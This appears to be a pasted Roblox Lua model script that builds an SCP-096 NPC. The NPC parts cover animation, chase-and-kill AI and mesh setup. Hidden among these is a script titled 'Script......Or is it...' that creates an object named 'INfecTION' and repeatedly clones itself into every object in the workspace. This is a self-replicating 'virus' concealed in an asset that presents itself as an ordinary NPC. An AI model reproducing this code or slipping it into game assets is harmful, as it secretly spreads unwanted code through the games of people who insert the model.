- local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
- local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
- local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
- local Neck=FreeSCP096Torso:FindFirstChild("Neck")
- local pose="Standing";
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- function onRunning(speed)
- if speed>0.001 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- pose = "Jumping"
- end
- function onClimbing()
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function moveJump()
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- RightHip.DesiredAngle = 0
- LeftHip.DesiredAngle = 0
- end
- function moveFreeFall()
- RightShoulder.MaxVelocity = 1
- LeftShoulder.MaxVelocity = 1
- RightShoulder.DesiredAngle = 4
- LeftShoulder.DesiredAngle = -4
- RightHip.DesiredAngle = 1
- LeftHip.DesiredAngle = 1
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder.DesiredAngle = 3.14 /2
- LeftShoulder.DesiredAngle = -3.14 /2
- RightHip.DesiredAngle = 1/2
- LeftHip.DesiredAngle = -1/2
- end
- function move(time)
- local amplitude
- local frequency
- if (pose == "Jumping") then
- moveJump()
- return
- end
- if (pose == "FreeFall") then
- moveFreeFall()
- return
- end
- if (pose == "Seated") then
- moveSit()
- return
- end
- local climbFudge = 0
- if (pose == "Running") then
- RightShoulder.MaxVelocity = 0.2
- LeftShoulder.MaxVelocity = 0.2
- RightHip.MaxVelocity = 0.2
- LeftHip.MaxVelocity = 0.2
- if FreeSCP096Humanoid.WalkSpeed~=35 then
- amplitude = 0.4
- frequency = 4
- else
- amplitude = 2
- frequency = 12
- end
- elseif (pose == "Climbing") then
- RightShoulder.MaxVelocity = 0.3
- LeftShoulder.MaxVelocity = 0.3
- RightHip.MaxVelocity = 1
- LeftHip.MaxVelocity = 1
- amplitude = 0.4
- frequency = 6
- climbFudge = 3.14
- else
- amplitude = 0.1
- frequency = 1
- end
- local desiredAngle=amplitude*math.sin(time*frequency);
- if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
- RightShoulder.MaxVelocity = 0.05
- LeftShoulder.MaxVelocity = 0.05
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- end
- if FreeSCP096Humanoid.WalkSpeed>10 then
- RightShoulder.MaxVelocity = 5
- LeftShoulder.MaxVelocity = 5
- RightShoulder.DesiredAngle = 1.57
- LeftShoulder.DesiredAngle = -1.57
- RightHip.MaxVelocity = 3
- LeftHip.MaxVelocity =3
- end
- if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
- RightShoulder.DesiredAngle=desiredAngle+climbFudge;
- LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
- end
- RightHip.DesiredAngle = -desiredAngle
- LeftHip.DesiredAngle = -desiredAngle
- end
- FreeSCP096Humanoid.Died:connect(onDied)
- FreeSCP096Humanoid.Running:connect(onRunning)
- FreeSCP096Humanoid.Jumping:connect(onJumping)
- FreeSCP096Humanoid.Climbing:connect(onClimbing)
- FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
- FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
- FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
- FreeSCP096Humanoid.Seated:connect(onSeated)
- local nextTime=0
- local runService=game:service("RunService");
- while Wait(0)do
- local time=runService.Stepped:wait(0);
- if time>nextTime then
- move(time);
- nextTime=time;
- end;
- end;
- --[[ By: Brutez. ]]--
- end))
- Script178.Name = "Main"
- Script178.Parent = Model133
- table.insert(cors,sandbox(Script178,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096Script=script;
- local FreeSCP096=FreeSCP096Script.Parent;
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
- local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
- local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
- local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
- local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- local NoticeDistanceTime=0;
- local Noticed=false;
- function findNearestTorso(pos)
- local NoticeDistance=150;
- local torso=nil;
- for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
- if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
- local TargetPart=TargetModel:FindFirstChild("Torso")
- local FoundHumanoid=nil;
- for _,Child in pairs(TargetModel:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FoundHumanoid=Child;
- end
- end
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
- if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Panic:Play()
- FreeSCP096Humanoid.WalkSpeed=1;
- Wait(26)
- Noticed=true
- end
- if Noticed then
- torso=TargetPart;
- NoticeDistance=(TargetPart.Position-pos).magnitude;
- end;
- end;
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
- FreeSCP096Kill:Play()
- FoundHumanoid:TakeDamage(99999e99999)
- end
- end
- end
- return torso
- end
- while Wait(0)do
- FreeSCP096Humanoid.MaxHealth=99999e99999
- FreeSCP096Humanoid.Health=99999e99999
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
- FreeSCP096Humanoid.AutoJumpEnabled=true;
- end
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
- FreeSCP096Humanoid.AutoRotate=true;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
- FreeSCP096Humanoid.PlatformStand=false;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
- FreeSCP096Humanoid.Sit=false;
- end
- if Noticed then
- NoticeDistanceTime=NoticeDistanceTime+1
- if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
- Noticed=false;
- NoticeDistanceTime=0
- end
- end
- local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
- if TargetPart then
- if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
- NoticeDistanceTime=NoticeDistanceTime-2
- end
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if not FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Play()
- end
- FreeSCP096Humanoid.WalkSpeed=35;
- FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
- else
- if not FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Play()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Humanoid.WalkSpeed=10;
- local WanderChance=math.random(1,50);
- local JumpChance=math.random(1,100);
- if WanderChance==10 then
- local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
- FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
- end
- if JumpChance==10 then
- FreeSCP096Humanoid.Jump=true;
- end
- end
- end
- --[[ By: Brutez. ]]--
- end))
- Script179.Name = "Animate"
- Script179.Parent = Model133
- table.insert(cors,sandbox(Script179,function()
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- local Figure = script.Parent
- local Torso = waitForChild(Figure, "Torso")
- local RightShoulder = waitForChild(Torso, "Right Shoulder")
- local LeftShoulder = waitForChild(Torso, "Left Shoulder")
- local RightHip = waitForChild(Torso, "Right Hip")
- local LeftHip = waitForChild(Torso, "Left Hip")
- local Neck = waitForChild(Torso, "Neck")
- local Humanoid = waitForChild(Figure, "SCP")
- local pose = "Standing"
- local currentAnim = ""
- local currentAnimTrack = nil
- local currentAnimKeyframeHandler = nil
- local currentAnimSpeed = 1.0
- local animTable = {}
- local animNames = {
- idle = {
- { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
- { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
- },
- walk = {
- { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
- },
- run = {
- { id = "run.xml", weight = 10 }
- },
- jump = {
- { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
- },
- fall = {
- { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
- },
- climb = {
- { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
- },
- toolnone = {
- { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
- },
- toolslash = {
- { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
- -- { id = "slash.xml", weight = 10 }
- },
- toollunge = {
- { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
- },
- wave = {
- { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
- },
- point = {
- { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
- },
- dance = {
- { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
- },
- dance2 = {
- { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
- },
- dance3 = {
- { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
- },
- laugh = {
- { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
- },
- cheer = {
- { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
- },
- }
- -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
- local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
- math.randomseed(tick())
- function configureAnimationSet(name, fileList)
- if (animTable[name] ~= nil) then
- for _, connection in pairs(animTable[name].connections) do
- connection:disconnect()
- end
- end
- animTable[name] = {}
- animTable[name].count = 0
- animTable[name].totalWeight = 0
- animTable[name].connections = {}
- -- check for config values
- local config = script:FindFirstChild(name)
- if (config ~= nil) then
- -- print("Loading anims " .. name)
- table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
- table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
- local idx = 1
- for _, childPart in pairs(config:GetChildren()) do
- if (childPart:IsA("Animation")) then
- table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
- animTable[name][idx] = {}
- animTable[name][idx].anim = childPart
- local weightObject = childPart:FindFirstChild("Weight")
- if (weightObject == nil) then
- animTable[name][idx].weight = 1
- else
- animTable[name][idx].weight = weightObject.Value
- end
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
- -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
- idx = idx + 1
- end
- end
- end
- -- fallback to defaults
- if (animTable[name].count <= 0) then
- for idx, anim in pairs(fileList) do
- animTable[name][idx] = {}
- animTable[name][idx].anim = Instance.new("Animation")
- animTable[name][idx].anim.Name = name
- animTable[name][idx].anim.AnimationId = anim.id
- animTable[name][idx].weight = anim.weight
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
- -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
- end
- end
- end
- -- Setup animation objects
- function scriptChildModified(child)
- local fileList = animNames[child.Name]
- if (fileList ~= nil) then
- configureAnimationSet(child.Name, fileList)
- end
- end
- script.ChildAdded:connect(scriptChildModified)
- script.ChildRemoved:connect(scriptChildModified)
- for name, fileList in pairs(animNames) do
- configureAnimationSet(name, fileList)
- end
- -- ANIMATION
- -- declarations
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpAnimTime = 0
- local jumpAnimDuration = 0.3
- local toolTransitionTime = 0.1
- local fallTransitionTime = 0.3
- local jumpMaxLimbVelocity = 0.75
- -- functions
- function stopAllAnimations()
- local oldAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
- oldAnim = "idle"
- end
- currentAnim = ""
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop()
- currentAnimTrack:Destroy()
- currentAnimTrack = nil
- end
- return oldAnim
- end
- function setAnimationSpeed(speed)
- if speed ~= currentAnimSpeed then
- currentAnimSpeed = speed
- currentAnimTrack:AdjustSpeed(currentAnimSpeed)
- end
- end
- function keyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopAllAnimations()
- local animSpeed = currentAnimSpeed
- playAnimation(repeatAnim, 0.0, Humanoid)
- setAnimationSpeed(animSpeed)
- end
- end
- -- Preload animations
- function playAnimation(animName, transitionTime, humanoid)
- local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
- if (animName ~= currentAnim and not idleFromEmote) then
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop(transitionTime)
- currentAnimTrack:Destroy()
- end
- currentAnimSpeed = 1.0
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- currentAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- currentAnimTrack:Play(transitionTime)
- currentAnim = animName
- -- set up keyframe name triggers
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- end
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- local toolAnimName = ""
- local toolAnimTrack = nil
- local currentToolAnimKeyframeHandler = nil
- function toolKeyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopToolAnimations()
- playToolAnimation(repeatAnim, 0.0, Humanoid)
- end
- end
- function playToolAnimation(animName, transitionTime, humanoid)
- if (animName ~= toolAnimName) then
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- transitionTime = 0
- end
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- toolAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- toolAnimTrack:Play(transitionTime)
- toolAnimName = animName
- currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
- end
- end
- function stopToolAnimations()
- local oldAnim = toolAnimName
- if (currentToolAnimKeyframeHandler ~= nil) then
- currentToolAnimKeyframeHandler:disconnect()
- end
- toolAnimName = ""
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- toolAnimTrack = nil
- end
- return oldAnim
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- function onRunning(speed)
- if speed>0.01 then
- playAnimation("walk", 0.1, Humanoid)
- pose = "Running"
- else
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- playAnimation("jump", 0.1, Humanoid)
- jumpAnimTime = jumpAnimDuration
- pose = "Jumping"
- end
- function onClimbing(speed)
- playAnimation("climb", 0.1, Humanoid)
- setAnimationSpeed(speed / 12.0)
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- if (jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- end
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function onSwimming(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- playToolAnimation("toolnone", toolTransitionTime, Humanoid)
- return
- end
- if (toolAnim == "Slash") then
- playToolAnimation("toolslash", 0, Humanoid)
- return
- end
- if (toolAnim == "Lunge") then
- playToolAnimation("toollunge", 0, Humanoid)
- return
- end
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder:SetDesiredAngle(3.14 /2)
- LeftShoulder:SetDesiredAngle(-3.14 /2)
- RightHip:SetDesiredAngle(3.14 /2)
- LeftHip:SetDesiredAngle(-3.14 /2)
- end
- local lastTick = 0
- function move(time)
- local amplitude = 1
- local frequency = 1
- local deltaTime = time - lastTick
- lastTick = time
- local climbFudge = 0
- local setAngles = false
- if (jumpAnimTime > 0) then
- jumpAnimTime = jumpAnimTime - deltaTime
- end
- if (pose == "FreeFall" and jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- elseif (pose == "Seated") then
- stopAllAnimations()
- moveSit()
- return
- elseif (pose == "Running") then
- playAnimation("walk", 0.1, Humanoid)
- elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
- -- print("Wha " .. pose)
- amplitude = 0.1
- frequency = 1
- setAngles = true
- end
- if (setAngles) then
- desiredAngle = amplitude * math.sin(time * frequency)
- RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
- LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
- RightHip:SetDesiredAngle(-desiredAngle)
- LeftHip:SetDesiredAngle(-desiredAngle)
- end
- -- Tool Animation handling
- local tool = getTool()
- if tool then
- animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- stopToolAnimations()
- toolAnim = "None"
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- setup emote chat hook
- -- main program
- local runService = game:service("RunService");
- -- initialize to idle
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- while Figure.Parent~=nil do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- StringValue180.Name = "climb"
- StringValue180.Parent = Script179
- Animation181.Name = "ClimbAnim"
- Animation181.Parent = StringValue180
- Animation181.AnimationId = "http://www.roblox.com/asset/?id=125750800"
- StringValue182.Name = "fall"
- StringValue182.Parent = Script179
- Animation183.Name = "FallAnim"
- Animation183.Parent = StringValue182
- Animation183.AnimationId = "http://www.roblox.com/asset/?id=125750759"
- StringValue184.Name = "idle"
- StringValue184.Parent = Script179
- Animation185.Name = "Animation1"
- Animation185.Parent = StringValue184
- Animation185.AnimationId = "http://www.roblox.com/asset/?id=125750544"
- NumberValue186.Name = "Weight"
- NumberValue186.Parent = Animation185
- NumberValue186.Value = 9
- Animation187.Name = "Animation2"
- Animation187.Parent = StringValue184
- Animation187.AnimationId = "http://www.roblox.com/asset/?id=125750618"
- NumberValue188.Name = "Weight"
- NumberValue188.Parent = Animation187
- NumberValue188.Value = 1
- StringValue189.Name = "jump"
- StringValue189.Parent = Script179
- Animation190.Name = "JumpAnim"
- Animation190.Parent = StringValue189
- Animation190.AnimationId = "http://www.roblox.com/asset/?id=125750702"
- StringValue191.Name = "run"
- StringValue191.Parent = Script179
- Animation192.Name = "RunAnim"
- Animation192.Parent = StringValue191
- Animation192.AnimationId = "rbxassetid://510059034"
- StringValue193.Name = "toolnone"
- StringValue193.Parent = Script179
- Animation194.Name = "ToolNoneAnim"
- Animation194.Parent = StringValue193
- Animation194.AnimationId = "http://www.roblox.com/asset/?id=125750867"
- StringValue195.Name = "walk"
- StringValue195.Parent = Script179
- Animation196.Name = "WalkAnim"
- Animation196.Parent = StringValue195
- Animation196.AnimationId = "http://www.roblox.com/asset/?id=125749145"
- Script197.Name = "Script......Or is it..."
- Script197.Parent = mas
- table.insert(cors,sandbox(Script197,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- BodyColors198.Parent = Model133
- BodyColors198.HeadColor = BrickColor.new("Institutional white")
- BodyColors198.LeftArmColor = BrickColor.new("Institutional white")
- BodyColors198.LeftLegColor = BrickColor.new("Institutional white")
- BodyColors198.RightArmColor = BrickColor.new("Institutional white")
- BodyColors198.RightLegColor = BrickColor.new("Institutional white")
- BodyColors198.TorsoColor = BrickColor.new("Institutional white")
- CharacterMesh199.Name = "SCP-096 Left Arm"
- CharacterMesh199.Parent = Model133
- CharacterMesh199.MeshId = 75390829
- CharacterMesh199.BaseTextureId = 255692783
- CharacterMesh199.BodyPart = Enum.BodyPart.LeftArm
- CharacterMesh199.OverlayTextureId = 255692783
- CharacterMesh200.Name = "SCP-096 Left Leg"
- CharacterMesh200.Parent = Model133
- CharacterMesh200.MeshId = 32328520
- CharacterMesh200.BaseTextureId = 255692783
- CharacterMesh200.BodyPart = Enum.BodyPart.LeftLeg
- CharacterMesh200.OverlayTextureId = 255692783
- CharacterMesh201.Name = "SCP-096 Right Arm"
- CharacterMesh201.Parent = Model133
- CharacterMesh201.MeshId = 75390843
- CharacterMesh201.BaseTextureId = 255692783
- CharacterMesh201.BodyPart = Enum.BodyPart.RightArm
- CharacterMesh201.OverlayTextureId = 255692783
- CharacterMesh202.Name = "SCP-096 Right Leg"
- CharacterMesh202.Parent = Model133
- CharacterMesh202.MeshId = 32328627
- CharacterMesh202.BaseTextureId = 255692783
- CharacterMesh202.BodyPart = Enum.BodyPart.RightLeg
- CharacterMesh202.OverlayTextureId = 255692783
- CharacterMesh203.Name = "SCP-096 Torso"
- CharacterMesh203.Parent = Model133
- CharacterMesh203.MeshId = 27493004
- CharacterMesh203.BaseTextureId = 255693950
- CharacterMesh203.BodyPart = Enum.BodyPart.Torso
- CharacterMesh203.OverlayTextureId = 255693950
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = script
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement